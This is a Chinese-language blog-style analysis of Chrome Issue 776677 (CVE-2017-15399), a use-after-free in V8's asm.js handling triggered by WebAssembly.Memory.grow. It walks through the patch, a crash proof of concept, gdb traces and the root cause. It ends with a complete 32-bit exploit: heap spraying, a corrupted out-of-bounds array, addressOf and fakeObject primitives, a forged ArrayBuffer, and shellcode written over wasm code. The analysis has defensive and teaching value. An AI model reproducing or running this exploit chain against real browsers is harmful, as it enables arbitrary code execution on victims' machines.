Chrome Issue 776677(CVE-2017-15399)asm.js UAF漏洞分析

 

0x00 前言

之前一直在学习V8方面的漏洞,对于asm.js层的UAF漏洞还是第一次接触,本文将详细分析Chrome Issue 776677漏洞以及其利用方法。

 

0x01 前置知识

asm.js

asm.js不是一门新的语言,而是JavaScript的一个子集。由Mozilla于2013年提出,主要为了提升JS引擎执行代码的速度。通俗来说,同样是js代码,符合asm.js规范的代码对JS引擎更加友好,JS引擎在解释执行这些代码更加省心(例如不用进行变量类型推断了),也就更加快。
一旦 JavaScript 引擎发现运行的是 asm.js,就知道这是经过优化的代码,可以跳过语法分析这一步,直接转成汇编语言。另外,浏览器还会调用 WebGL 通过 GPU 执行 asm.js,即 asm.js 的执行引擎与普通的 JavaScript 脚本不同。这些都是 asm.js 运行较快的原因。据称,asm.js 在浏览器里的运行速度,大约是原生代码的50%左右。

在asm.js 中,变量只有两种数据类型。32位带符号整数64位带符号浮点数
asm.js 的类型声明有固定写法,变量 | 0表示整数,+变量表示浮点数。如下

var a = 1;

var x = a | 0;  // x 是32位整数
var y = +a;  // y 是64位浮点数

在javascript中,区别是普通js还是asm.js的关键在于函数里是否使用"use asm";关键词修饰,在函数中,在"use asm";关键词之后的代码都属于asm.js,如下,由于module第一行使用了该关键字,那么函数后面的代码都将使用asm.js将代码翻译为汇编代码

function module() {
  "use asm";
   function f(x) {
      x = x | 0;
   }
   return f;
}

var f = module();

f(1);

使用./d8 t.js -print-opt-code运行,可以看到,虽然没有多次循环触发JIT编译,但是仍然使用了turbofan进行编译

kind = JS_TO_WASM_FUNCTION
name = js-to-wasm#0
compiler = turbofan
Instructions (size = 138)
0x3f4062c0     0  55             push ebp
0x3f4062c1     1  89e5           mov ebp,esp
0x3f4062c3     3  56             push esi
0x3f4062c4     4  57             push edi
0x3f4062c5     5  8b4508         mov eax,[ebp+0x8]
0x3f4062c8     8  e8d303f01f     call 0x5f3066a0  (ToNumber)    ;; code: BUILTIN
0x3f4062cd     d  a801           test al,0x1
0x3f4062cf     f  0f8528000000   jnz 0x3f4062fd  <+0x3d>
0x3f4062d5    15  d1f8           sar eax,1
0x3f4062d7    17  f20f2ac8       cvtsi2sd xmm1,eax
0x3f4062db    1b  f20f2cc1       cvttsd2si eax,xmm1
0x3f4062df    1f  83f801         cmp eax,0x1
0x3f4062e2    22  0f8039000000   jo 0x3f406321  <+0x61>
0x3f4062e8    28  be00000000     mov esi,(nil)               ;; wasm context reference
0x3f4062ed    2d  e8cefeffff     call 0x3f4061c0             ;; code: BUILTIN
0x3f4062f2    32  b885411839     mov eax,0x39184185          ;; object: 0x39184185 <undefined>
0x3f4062f7    37  89ec           mov esp,ebp
0x3f4062f9    39  5d             pop ebp
0x3f4062fa    3a  c20800         ret 0x8
0x3f4062fd    3d  b985411839     mov ecx,0x39184185          ;; object: 0x39184185 <undefined>
0x3f406302    42  3bc1           cmp eax,ecx
0x3f406304    44  0f8407000000   jz 0x3f406311  <+0x51>
0x3f40630a    4a  f20f104803     movsd xmm1,[eax+0x3]
0x3f40630f    4f  ebca           jmp 0x3f4062db  <+0x1b>
0x3f406311    51  660f76c9       pcmpeqd xmm1,xmm1
0x3f406315    55  660f73f134     psllq xmm1,52
0x3f40631a    5a  660f73d101     psrlq xmm1,1
0x3f40631f    5f  ebba           jmp 0x3f4062db  <+0x1b>
0x3f406321    61  83ec08         sub esp,0x8
0x3f406324    64  f20f110c24     movsd [esp],xmm1
0x3f406329    69  e8d25ac0fc     call 0x3c00be00             ;; code: STUB, DoubleToIStub, minor: 0
0x3f40632e    6e  83c408         add esp,0x8
0x3f406331    71  ebb5           jmp 0x3f4062e8  <+0x28>
0x3f406333    73  90             nop

asm.js中,不能直接调用javascript中的函数或者访问数据,如下会报错,找不到print函数

function module() {
  "use asm";
   function f(x) {
      x = x | 0;
      print(x);
   }
   return f;
}

想要在asm.js中调用js中的函数和对象,必须使用函数参数来间接传递地址进行访问,如下

function module(stdlib) {
  "use asm";
   var p = stdlib.print;
   function f(x) {
      x = x | 0;
      p(x);
   }
   return f;
}

var stdlib = {print:print};
var f = module(stdlib);
f(1);

通常,一个标准的asm.js函数模块参数应该有三个function module(stdlib,foreign,buffer) {},其中stdlib用来传递想要用到的一些函数,foreign用来传递一些变量,buffer用来共享内存。

function module(stdlib,foreign,buffer) {
  "use asm";
  var fl = new stdlib.Uint32Array(buffer);
  function f1(x) {
    x = x | 0;
    fl[0x11]  = x;
  }
  return f1;
}

var global = {Uint32Array:Uint32Array};
var env = {};
var buffer = new ArrayBuffer(0x100);
var f = module(global,env,buffer);

f(0x22);
var dv = new DataView(buffer);
print(dv.getUint32(0x11*4,true));

如图,我们在asm.js里修改了ArrayBuffer的内容,然后在js层显示。
除了直接传入ArrayBuffer对象进行内存共享,还可以使用WebAssembly.Memory来构造

var memory = new WebAssembly.Memory({initial:200});
var buffer = memory.buffer;

其返回的buffer也是一个ArrayBuffer对象

DebugPrint: 0x4cb18421: [JSArrayBuffer] in OldSpace
 - map = 0x3b9047b9 [FastProperties]
 - prototype = 0x4cb08ac5
 - elements = 0x5450412d <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
 - embedder fields: 2
 - backing_store = 0xf1dca000
 - byte_length = 13107200
 - wasm_buffer
 - properties = 0x5450412d <FixedArray[0]> {}
 - embedder fields = {
    (nil)
    (nil)
 }

其中initial:200代表申请200页大小的内存,每页为0x10000。使用WebAssembly.Memory的好处是其申请的内存空间可以扩展,如果想要扩充空间,·只需调用grow函数。而ArrayBuffer的话不能做到空间扩充。

memory.grow(1); //扩充1页的内存

 

0x02 漏洞分析

patch分析

patch的地方比较多,经过分析,比较关键的地方是这两处

index cecf460..24b9091 100644
--- a/src/asmjs/asm-js.cc
+++ b/src/asmjs/asm-js.cc
@@ -374,6 +374,7 @@
       ReportInstantiationFailure(script, position, "Requires heap buffer");
       return MaybeHandle<Object>();
     }
+    memory->set_is_growable(false);
     size_t size = NumberToSize(memory->byte_length());
     // TODO(mstarzinger): We currently only limit byte length of the buffer to
     // be a multiple of 8, we should enforce the stricter spec limits here.
diff --git a/src/wasm/wasm-js.cc b/src/wasm/wasm-js.cc
index bad1a21..631d94a 100644
--- a/src/wasm/wasm-js.cc
+++ b/src/wasm/wasm-js.cc
@@ -753,6 +753,10 @@
     max_size64 = i::FLAG_wasm_max_mem_pages;
   }
   i::Handle<i::JSArrayBuffer> old_buffer(receiver->array_buffer());
+  if (!old_buffer->is_growable()) {
+    thrower.RangeError("This memory cannot be grown");
+    return;
+  }
   uint32_t old_size =
       old_buffer->byte_length()->Number() / i::wasm::kSpecMaxWasmMemoryPages;
   int64_t new_size64 = old_size + delta_size;

主要是为asm.jsmemory设置了一个标记,不允许我们在memory传给asm.js的模块以后再调用memory.grow()函数。
其精简后的POC如下

function module(stdlib,foreign,buffer) {
  "use asm";
  var fl = new stdlib.Uint32Array(buffer);
  function f1(x) {
    x = x | 0;
    fl[0] = x;
  }
  return f1;
}

var global = {Uint32Array:Uint32Array};
var env = {};
var memory = new WebAssembly.Memory({initial:200});
var buffer = memory.buffer;
var evil_f = module(global,env,buffer);

memory.grow(1);
evil_f(1);

与前面的示例差不多,我们仅仅是增加了一句memory.grow(1);,然后调用函数以后就出现了崩溃。

root@ubuntu:~/Desktop/v8/out.gn/ia32.debug# ./d8 poc.js
Received signal 11 SEGV_MAPERR 0000f1d64000

==== C stack trace ===============================

 [0x0000f58e4e80]
 [0x0000f58e4d7a]
 [0x0000f7f07b80]
 [0x00004010658b]
 [0x0000549fc522]
 [0x0000549f9336]
 [0x00005498608f]
 [0x0000f6d7935f]
 [0x0000f6d788a2]
 [0x0000f6d786af]
 [0x0000f61fbef6]
 [0x0000565f7010]
 [0x00005660c8c0]
 [0x000056610ff3]
 [0x000056612523]
 [0x000056612912]
 [0x0000f53ace91]
[end of stack trace]
Segmentation fault (core dumped)

很明显是内存访问错误,使用gdb调试

pwndbg> c
Continuing.

Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
0x4498658b in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────────
*EAX  0x1
*EBX  0x0
*ECX  0xc80000
*EDX  0xf1d99000
*EDI  0x44986580 ◂— mov    ecx, dword ptr [esi + 4] /* 0x8b044e8b */
*ESI  0x56d586d0 ◂— 0xf1d99000
*EBP  0xfff53ed4 —▸ 0xfff53f08 —▸ 0xfff53f20 —▸ 0xfff53f48 —▸ 0xfff540d8 ◂— ...
*ESP  0xfff53ec8 —▸ 0x449862f2 ◂— mov    eax, 0x43a84185 /* 0xa84185b8 */
*EIP  0x4498658b ◂— mov    dword ptr [edx + ebx], eax /* 0xc31a0489 */
───────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
 ► 0x4498658b    mov    dword ptr [edx + ebx], eax
   0x4498658e    ret

查看该地址0xf1d99000的映射情况,可以发现这个地址不在映射之内

.............
0xf1109000 0xf1d99000 rw-p   c90000 0      
0xf2a19000 0xf2c8e000 rw-p   275000 0      
.............

然而如果事先加了一个%DebugPrintbuffer打印的话,会发现

DebugPrint: 0x52698935: [JSArrayBuffer] in OldSpace
 - map = 0x5ab047b9 [FastProperties]
 - prototype = 0x52688ac5
 - elements = 0x3628412d <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
 - embedder fields: 2
 - backing_store = 0xf1d99000
 - byte_length = 13107200
 - wasm_buffer
 - properties = 0x3628412d <FixedArray[0]> {}
 - embedder fields = {
    (nil)
    (nil)
 }

该不可访问地址实际就是ArrayBufferbacking_store,那么可能的原因是memory.grow(1);操作使得ArrayBufferbacking_store被释放掉了。我们在memory.grow(1);之后加一句%DebugPrint(buffer);,可以发现

DebugPrint: 0x5c518941: [JSArrayBuffer] in OldSpace
 - map = 0x2a0847b9 [FastProperties]
 - prototype = 0x5c508ac5
 - elements = 0x2de8412d <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
 - embedder fields: 2
 - backing_store = (nil)
 - byte_length = 0
 - external
 - neuterable
 - neutered
 - wasm_buffer
 - properties = 0x2de8412d <FixedArray[0]> {}
 - embedder fields = {
    (nil)
    (nil)
 }

ArrayBuffer的一些指针确实被清空掉了,但是asm.js里访问时仍然使用了原来那个指针,这是一个UAF

asm.js的UAF成因分析

在分析这个UAF之前,我们先大致了解一下asm.js的编译过程,一个比较关键的地方是位于src/wasm/module-compiler.cc文件中的InstanceBuilder::Build函数,第1792行开始,获取外部传入的ArrayBuffer对象,并设置一些属性

   1792   if (!memory_.is_null()) {
   1793     Handle<JSArrayBuffer> memory = memory_.ToHandleChecked();
   1794     // Set externally passed ArrayBuffer non neuterable.
 ► 1795     memory->set_is_neuterable(false);
   1796     memory->set_is_wasm_buffer(true);
   1797 
   1798     DCHECK_IMPLIES(trap_handler::UseTrapHandler(),
   1799                    module_->is_asm_js() || memory->has_guard_region());
   1800   } else if (initial_pages > 0) {

然后第1838行开始,进行一些检查,然后将ArrayBuffer对象设置到instance实例中。

   1838   Address mem_start = nullptr;
   1839   uint32_t mem_size = 0;
   1840   if (!memory_.is_null()) {
   1841     Handle<JSArrayBuffer> memory = memory_.ToHandleChecked();
   1842     mem_start = static_cast<Address>(memory->backing_store());
 ► 1843     CHECK(memory->byte_length()->ToUint32(&mem_size));
   1844     LoadDataSegments(mem_start, mem_size);
   1845     // Just like with globals, we need to keep both the JSArrayBuffer
   1846     // and save the start pointer.
   1847     instance->set_memory_buffer(*memory);
   1848   }

然后第1854行,使用WasmMemoryObject::New创建了一个memory_object,并将其设置到instance实例中

In file: /home/sea/Desktop/v8/src/wasm/module-compiler.cc
   1853   if (module_->has_memory && !instance->has_memory_object()) {
   1854     Handle<WasmMemoryObject> memory_object = WasmMemoryObject::New(
   1855         isolate_,
   1856         instance->has_memory_buffer() ? handle(instance->memory_buffer())
   1857                                       : Handle<JSArrayBuffer>::null(),
 ► 1858         module_->maximum_pages != 0 ? module_->maximum_pages : -1);
   1859     instance->set_memory_object(*memory_object);
   1860   }

接下来为新创建的memory_object设置instance

   1904 
   1905   //--------------------------------------------------------------------------
   1906   // Add instance to Memory object
   1907   //--------------------------------------------------------------------------
   1908   if (instance->has_memory_object()) {
 ► 1909     Handle<WasmMemoryObject> memory(instance->memory_object(), isolate_);
   1910     WasmMemoryObject::AddInstance(isolate_, memory, instance);
   1911   }
   1912 
pwndbg> p memory
$10 = {
  <v8::internal::HandleBase> = {
    location_ = 0x5671d6ac
  }, <No data fields>}
pwndbg> p *memory
$11 = (v8::internal::WasmMemoryObject *) 0x5b498b29

执行完后,该memory_object调用has_instances会返回true,说明已经为该memory_object设置好了实例

pwndbg> p instance->memory_object()->has_instances()
$13 = true

在分析完asm.js模块的编译过程以后,我们再来看一下JS层的grow函数。该函数的实现位于src/wasm/wasm-js.cc文件中的WebAssemblyMemoryGrow函数。第745EXTRACT_THIS(receiver, WasmMemoryObject);获取到了js层的var memory = new WebAssembly.Memory({initial:200});这个对象。显然,在这里也表示为一个·WasmMemoryObject

   740   i::Isolate* i_isolate = reinterpret_cast<i::Isolate*>(isolate);
   741   HandleScope scope(isolate);
   742   i::wasm::ScheduledErrorThrower thrower(i_isolate,
   743                                          "WebAssembly.Memory.grow()");
   744   Local<Context> context = isolate->GetCurrentContext();
 ► 745   EXTRACT_THIS(receiver, WasmMemoryObject);
   746 
   747   int64_t delta_size = 0;
   748   if (!args[0]->IntegerValue(context).To(&delta_size)) return;
   749 
   750   int64_t max_size64 = receiver->maximum_pages();

然后这里获取到ArrayBuffer对象以及一些属性,并在旧的size基础上加上增量以后进行一些范围检查。

In file: /home/sea/Desktop/v8/src/wasm/wasm-js.cc
   752       max_size64 > static_cast<int64_t>(i::FLAG_wasm_max_mem_pages)) {
   753     max_size64 = i::FLAG_wasm_max_mem_pages;
   754   }
   755   i::Handle<i::JSArrayBuffer> old_buffer(receiver->array_buffer());
   756   uint32_t old_size =
 ► 757       old_buffer->byte_length()->Number() / i::wasm::kSpecMaxWasmMemoryPages;
   758   int64_t new_size64 = old_size + delta_size;
   759   if (delta_size < 0 || max_size64 < new_size64 || new_size64 < old_size) {
   760     thrower.RangeError(new_size64 < old_size ? "trying to shrink memory"
   761                                              : "maximum memory size exceeded");
   762     return;

接下来调用WasmMemoryObject::GrowArrayBufferbacking_store进行扩容,我们跟进该函数。

 ► 764   int32_t ret = i::WasmMemoryObject::Grow(i_isolate, receiver,
   765                                           static_cast<uint32_t>(delta_size));
   766   if (ret == -1) {
   767     thrower.RangeError("Unable to grow instance memory.");
   768     return;
   769   }

WasmMemoryObject::Grow函数里,通过一些检查以后,就调用GrowMemoryBuffer来分配一块更大的内存了。

   476   uint32_t maximum_pages = FLAG_wasm_max_mem_pages;
   477   if (memory_object->has_maximum_pages()) {
   478     maximum_pages = Min(FLAG_wasm_max_mem_pages,
   479                         static_cast<uint32_t>(memory_object->maximum_pages()));
   480   }
 ► 481   new_buffer = GrowMemoryBuffer(isolate, old_buffer, pages, maximum_pages);
   482   if (new_buffer.is_null()) return -1;

接下来来到这里,漏洞关键点来了

 ► 484   if (memory_object->has_instances()) {
   485     Handle<WeakFixedArray> instances(memory_object->instances(), isolate);
   486     for (int i = 0; i < instances->Length(); i++) {
   487       Object* elem = instances->Get(i);
   488       if (!elem->IsWasmInstanceObject()) continue;
   489       Handle<WasmInstanceObject> instance(WasmInstanceObject::cast(elem),
pwndbg> p memory_object->has_instances()
$17 = false

因为这里的memory_object来自与JS层的那个memory对象,而不是在InstanceBuilder::Build函数中创建的那个,因此memory_object->has_instances()返回的是false
这意味着下面的代码不会执行

  if (memory_object->has_instances()) {
    Handle<WeakFixedArray> instances(memory_object->instances(), isolate);
    for (int i = 0; i < instances->Length(); i++) {
      Object* elem = instances->Get(i);
      if (!elem->IsWasmInstanceObject()) continue;
      Handle<WasmInstanceObject> instance(WasmInstanceObject::cast(elem),
                                          isolate);
      SetInstanceMemory(isolate, instance, new_buffer);
    }
  }

由于SetInstanceMemory(isolate, instance, new_buffer);没有执行,导致wasm的实例里保存的那个buffer仍然是最开始那个buffer的地址,没有将new_buffer更新进去。此时程序继续执行,更新JS层的memory对象

   494   memory_object->set_array_buffer(*new_buffer);
 ► 495   return old_size / WasmModule::kPageSize;

接下来是对old_buffer进行处理

   770   if (!old_buffer->is_shared()) {
   771     // When delta_size == 0, or guard pages are enabled, the same backing store
   772     // is used. To be spec compliant, the buffer associated with the memory
   773     // object needs to be detached. Setup a new buffer with the same backing
   774     // store, detach the old buffer, and do not free backing store memory.
 ► 775     bool free_memory = delta_size != 0 && !old_buffer->has_guard_region();
   776     if ((!free_memory && old_size != 0) || new_size64 == 0) {
   777       i::WasmMemoryObject::SetupNewBufferWithSameBackingStore(
   778           i_isolate, receiver, static_cast<uint32_t>(new_size64));
   779     }
   780     i::wasm::DetachMemoryBuffer(i_isolate, old_buffer, free_memory);

我们跟进DetachMemoryBuffer函数,这里将old_bufferbacking_store给释放掉了。

In file: /home/sea/Desktop/v8/src/wasm/wasm-memory.cc
   120       // We need to free the memory before neutering the buffer because
   121       // FreeBackingStore reads buffer->allocation_base(), which is nulled out
   122       // by Neuter. This means there is a dangling pointer until we neuter the
   123       // buffer. Since there is no way for the user to directly call
   124       // FreeBackingStore, we can ensure this is safe.
 ► 125       buffer->FreeBackingStore();
   126     }
   127   }
   128   buffer->set_is_neuterable(true);
   129   buffer->Neuter();
   130 }

可以看出,由于没有更新wasm实例里的ArrayBuffer对象,并且后面该ArrayBuffer被释放,由此导致了UAF的产生,原来backing_store的内存空间被unmmap掉了,使得其不再出现在映射表中。当我们再次访问这块内存时,便出现了段错误。

 

0x03 漏洞利用

概述

现在,我们制造出了一个UAF,但是backing_store的内存与一般对象的内存地址是分开的,不能指望将其他对象占位与此。与backing_store类似的是ArrayElement,它们都属于大容量存储,因此它们之间很可能会分配到相邻的地址或者地址相差较小的位置。因此,我们可以考虑使用Heap Spray技术,在backing_store地址附近都布局下ArrayElement对象,然后通过UAF去控制。由于64位内存空间太大,Heap Spray似乎无法成功将Element对象放到backing_store地址附近,因此这个漏洞目前仅在32位下成功利用。

何时进行 Heap Spray

我们需要寻找一个合适的时机进行Heap Spray,在asm.js模块的汇编代码中,我们注意到如下代码

0x255062c0     0  55             push ebp
0x255062c1     1  89e5           mov ebp,esp
0x255062c3     3  56             push esi
0x255062c4     4  57             push edi
0x255062c5     5  8b4508         mov eax,[ebp+0x8]
0x255062c8     8  e8d303b035     call 0x5b0066a0  (ToNumber)    ;; code: BUILTIN
0x255062cd     d  a801           test al,0x1
0x255062cf     f  0f8528000000   jnz 0x255062fd  <+0x3d>
0x255062d5    15  d1f8           sar eax,1
.....................

可以看到,因为我们在asm.js模块中声明x = x | 0;,所以会先调用ToNumber获取对象x的值,而ToNumber会调用对象内部的toString函数,因此,我们可以重写toString函数,并在toString函数里开始Heap Spray

//堆喷
var victim_array = [];
victim_array.length = 0x750;
var array = [1.1];
array.length = 0x10000;
array.fill(2.2);
function spray_heap() {
    for(var i = 0;i < victim_array.length;i++){
        victim_array[i] = array.slice(0,array.length);
    }
}
..........................
//重写对象的toString函数,这样在执行ToNumber时可以同时触发Hpeap Spray
trigger = {};
trigger.toString = function(){
    spray_heap();
    return 0xffffffff;
};
evil_f(trigger);

使用gdb调试,然后断在崩溃处

 EAX  0x6666666a ('jfff')
 EBX  0x80108
 ECX  0xc80000
 EDX  0xf4cb4000
 EDI  0x5403aff1 —▸ 0x4e536848 ◂— 0x9999999a
 ESI  0x5858aab0 ◂— 0xf4cb4000
 EBP  0xffcd9da8 —▸ 0xffcd9df8 —▸ 0xffcd9e10 —▸ 0xffcd9e38 —▸ 0xffcd9ee8 ◂— ...
 ESP  0xffcd9d9c —▸ 0x52786292 ◂— mov    eax, 0x27184185 /* 0x184185b8 */
 EIP  0x527864ee ◂— mov    dword ptr [edx + ebx], eax /* 0xbb1a0489 */
───────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
 ► 0x527864ee    mov    dword ptr [edx + ebx], eax

当前访问的地址是0xf4cb4000,查看其附近的内存

.................
0xf4024000 0xf4cb4000 rw-p   c90000 0      
0xf4d80000 0xf4e05000 rw-p    85000 0      
0xf4e80000 0xf4f05000 rw-p    85000 0      
...............

可以看到0xf4cb4000上方和下方很多0x85000大小的内存空间,这是正是堆喷到此处的一些Array对象以及Elements对象,我们在gdb中使用find命令查找紧挨着的一块内存里的关键字

find /w4 0xf4d80000,0xf4e05000,0x9999999a

结果如下,我们看到最近的一个数据位于0xf4d84108,可以看到该处正是某一个Array对象的Element,它与backing_store之间相差0xd0108,这个偏移并不是固定不变的,但是后12bit是固定不变的。

0xf4d84108
0xf4d84110
0xf4d84118
0xf4d84120
pwndbg> x /20wx 0xf4d84108-0x8
0xf4d84100:    0x536846f1    0x00020000    0x9999999a    0x40019999

我们可以将所有的可能偏移都罗列出来,由于这些偏移在之前那个ArrayBuffer的length范围之内,也就是说该对象存在于那个UAF的空间里,于是我们可以利用UAF来改写Element,我们可以修改Elementlength属性,这样,我们可以后续构造出一个oob数组,为了区别,我们还需要修改Element的第一个元素,这样方便我们找到到底是哪个ArrayElement堆喷于此处。
为了方便罗列这些可能的偏移,并进行写,我们使用JS的模板来生成多种可能的偏移写语句,方便操作

//距离不是固定的,因此需要将所有可能的距离都赋值,我们要修改Element的length和第一个元素
let loop = "";
for(let i = 0; i < 0xd0; i++) {
    loop += `fl[${0x21041 + 0x100 * i}] = x;fl[${0x21042 + 0x100 * i}] = x;`;
}

let eval_str = `
function module(stdlib, foreign, buffer) {
    "use asm";
    var fl = new stdlib.Uint32Array(buffer);
    function foo(x) {
        x = x | 0;
        ${loop}
    }
    return foo;
}
`
eval(eval_str);

接下来就是搜索哪个被修改过的Array对象了

//找到那个能够被我们UAF控制的Array
var corrupted_array = undefined;
for(var i = 0; i < victim_array.length; i++) {
    tmp = victim_array[i];
    if (tmp[0] !== 2.2) {
        console.log("[+] array at : " + i);
        corrupted_array = victim_array[i];
        break;
    }
}

同时,我们得继续寻找该Array对象Elements后方的Elements属于哪个Array,其中注意到,由于corrupted_array的elements的length被我们修改成了0xFFFFFFFF,因此在这里加大length,elements仍然不变,相当于构造了一个oob数组,这个特性也是新学到的。

//寻找corrupted_array的后面是哪个Array对象的elements
var next_array_idx = undefined;
var tag = p64f(0x12345678,0x78563412)
if (corrupted_array != undefined) {
    //由于elements的length被我们修改,因此在这里加大length,elements仍然不变,相当于构造了一个oob数组
    corrupted_array.length = 0x200000;
    let leaked_idx = undefined;
    if (corrupted_array[0x20000] == 2.2) {
        corrupted_array[0x20000] = tag; //设置一个标记
        //搜索标记
        for(let i = 0; i < victim_array.length; i++) {
            tmp = victim_array[i];
            if (tmp[0] == tag) {
                tmp = undefined;
                console.log("[+] next array at : " + i);
                next_array_idx = i;
                break;
            }
        }
    }
} else {
    console.log("[-] fail");
}

我们搜索next_array的目的是为了将next_array进行释放。这样方便我们进行第二轮Heap Spray,将其他对象布局到此处,然后用corrupted_array进行控制。

function gc() {
   for (let i = 0; i < 0x10; i++) {
      new ArrayBuffer(0x1000000);
   }
}
//corrupted_array后方的内存释放掉,然后我们将其他对象堆喷到此处
victim_array[next_array_idx] = null;
gc();
//堆喷
var obj = {};
array = [obj];
array.length = 0x2000;
array.fill(obj);

for(var i = 0;i < victim_array.length;i++){
   victim_array[i] = array.slice(0,array.length);
}

这里,我们victim_array[next_array_idx] = null;使得该处对象失去了引用,然后通过申请大量的内存new ArrayBuffer(0x1000000);触发了垃圾回收器将next_array的内存回收,这样corrupted_array后方的内存就空闲了,然后我们堆喷多个HOLEY_ELEMENTS类型的Array,因为该Array存储着的是对象的指针,因此,我们结合corrupted_array和该处的Array,就可以构造addressOf原语和fakeObject原语。其构造布置比较简单,这里不再叙述。然后后续利用也比较容易了。

exp

function gc() {
   for (let i = 0; i < 0x10; i++) {
      new ArrayBuffer(0x1000000);
   }
}

var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function p64f(value1,value2) {
   dv.setUint32(0,value1,true);
   dv.setUint32(0x4,value2,true);
   return dv.getFloat64(0,true);
}

function u64f(value) {
   dv.setFloat64(0,value,true);
   return [dv.getUint32(0,true),dv.getUint32(4,true)];
}

//距离不是固定的,因此需要将所有可能的距离都赋值,我们要修改Element的length和第一个元素
let loop = "";
for(let i = 0; i < 0xd0; i++) {
    loop += `fl[${0x21041 + 0x100 * i}] = x;fl[${0x21042 + 0x100 * i}] = x;`;
}

let eval_str = `
function module(stdlib, foreign, buffer) {
    "use asm";
    var fl = new stdlib.Uint32Array(buffer);
    function foo(x) {
        x = x | 0;
        ${loop}
    }
    return foo;
}
`
eval(eval_str);

//堆喷
var victim_array = [];
victim_array.length = 0x750;
var array = [1.1];
array.length = 0x10000;
array.fill(2.2);
function spray_heap() {
    for(var i = 0;i < victim_array.length;i++){
        victim_array[i] = array.slice(0,array.length);
    }
}

var global = {Uint32Array:Uint32Array};
var env = {};
var memory = new WebAssembly.Memory({initial:200});
var buffer = memory.buffer;
var evil_f = module(global,env,buffer);

evil_f(1);
//%DebugPrint(memory);
//%SystemBreak();
//evil_f(1);
//制造UAF
memory.grow(1);
//%DebugPrint(buffer);

//重写对象的toString函数,这样在执行ToNumber时可以同时触发Hpeap Spray
trigger = {};
trigger.toString = function(){
    spray_heap();
    return 0xffffffff;
};
evil_f(trigger);


//找到那个能够被我们UAF控制的Array
var corrupted_array = undefined;
for(var i = 0; i < victim_array.length; i++) {
    tmp = victim_array[i];
    if (tmp[0] !== 2.2) {
        console.log("[+] array at : " + i);
        corrupted_array = victim_array[i];
        break;
    }
}

//寻找corrupted_array的后面是哪个Array对象的elements
var next_array_idx = undefined;
var tag = p64f(0x12345678,0x78563412)
if (corrupted_array != undefined) {
    //由于elements的length被我们修改,因此在这里加大length,elements仍然不变,相当于构造了一个oob数组
    corrupted_array.length = 0x200000;
    let leaked_idx = undefined;
    if (corrupted_array[0x20000] == 2.2) {
        corrupted_array[0x20000] = tag; //设置一个标记
    //搜索标记
        for(let i = 0; i < victim_array.length; i++) {
            tmp = victim_array[i];
            if (tmp[0] == tag) {
                tmp = undefined;
                console.log("[+] next array at : " + i);
                next_array_idx = i;
                break;
            }
        }
    }
} else {
    console.log("[-] fail");
}

//%DebugPrint(victim_array[next_array_idx]);
//corrupted_array后方的内存释放掉,然后我们将其他对象堆喷到此处
victim_array[next_array_idx] = null;
gc();
//堆喷
var obj = {};
array = [obj];
array.length = 0x2000;
array.fill(obj);

for(var i = 0;i < victim_array.length;i++){
   victim_array[i] = array.slice(0,array.length);
}


function addressOf(m_obj) {
   for(var i = 0;i < victim_array.length;i++){
      victim_array[i][0] = m_obj;
   }
   return u64f(corrupted_array[0x20000])[0] - 0x1;
}

var tag = {a:1.1};
var tag_addr = addressOf(tag);
//print("tag_addr=" + tag_addr.toString(16));

//寻找corrupted_array后面是哪一个Array
next_array_idx = undefined;
corrupted_array[0x20001] = p64f(tag_addr+0x1,0x123456);
//搜索标记
for(let i = 0; i < victim_array.length; i++) {
   tmp = victim_array[i];
   if (tmp[2] == tag) {
      tmp = undefined;
      console.log("[+] next array at : " + i);
      next_array_idx = i;
      break;
   }
}

if (next_array_idx == undefined) {
   throw "error"
}

function fakeObject(addr) {
   corrupted_array[0x20000] = p64f(addr+0x1,0x123456);
   return victim_array[next_array_idx][0];
}


const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([795371626, 1752379183, 1852400175, 23651209, 2164326657, 1769088052, 3375431937, 1493461585, 2303844609, 1792160225, 2160941067]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

var wasm_shellcode_ptr_addr = addressOf(func) + 0x18;
print('wasm_shellcode_ptr_addr=' + wasm_shellcode_ptr_addr.toString(16));

var proto_addr = addressOf(ArrayBuffer.prototype);

var faker = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
var faker_addr = addressOf(faker);

//fake a ArrayBuffer Map
faker[0] = p64f(0,0x0f0a000a);
faker[1] = p64f(0x000900c6,0x082003ff);
faker[2] = p64f(proto_addr,0);

var map_addr = faker_addr + 0x20;
print("map_addr=" + map_addr.toString(16));
//fake a ArrayBuffer
faker[4] = p64f(map_addr+0x1,0x3b90412d);
faker[5] = p64f(0x3b90412d,0x100);
faker[6] = p64f(wasm_shellcode_ptr_addr,0);
faker[7] = p64f(0x800,4);

var fake_arr_buf = fakeObject(faker_addr + 0x40);

var adv = new DataView(fake_arr_buf);
var wasm_shellcode_addr = adv.getUint32(0,true) + 0x3f;
print('wasm_shellcode_addr=' + wasm_shellcode_addr.toString(16));


faker[6] = p64f(wasm_shellcode_addr,wasm_shellcode_addr);

//%SystemBreak();
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
   adv.setUint32(i*4,shellcode[i],true);
}

